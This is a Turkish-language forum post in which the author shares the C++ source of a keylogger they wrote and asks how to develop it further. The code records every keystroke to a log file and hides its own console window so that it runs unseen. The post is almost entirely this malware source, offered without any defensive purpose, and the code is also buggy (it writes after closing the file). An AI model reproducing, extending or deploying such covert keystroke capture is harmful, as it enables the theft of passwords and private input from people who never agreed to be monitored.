Arkadaşlar , ben dev c++ da bir keylogger kodladım.Bunu nasıl geliştirebilirim.Benim bilgim bu kadarına yetti.Daha fazlasını öğrenmek istiyorum.
Kod:
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file);
**** Stealth();
int main()
{
Stealth();
char i;
while(1)
{
for(i=8 ; i<=190 ; i++)
{
if(GetAsyncKeyState(i)== -32767)
Save(i,"LOG.TXT");
}
}
system("PAUSE");
return 0;
}
/*******************************************************************/
/*******************************************************************/
int Save (int key_stroke, char *file) {
if( (key_stroke== 1) || (key_stroke== 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
cout<<key_stroke<<endl;
if (key_stroke==8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if(key_stroke==32)
fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke==VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if(key_stroke==VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if(key_stroke==VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if(key_stroke==VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if(key_stroke==VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if(key_stroke==VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if(key_stroke==VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if(key_stroke==VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if(key_stroke==VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if(key_stroke==VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if(key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/*******************************************************************/
/*******************************************************************/
**** Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}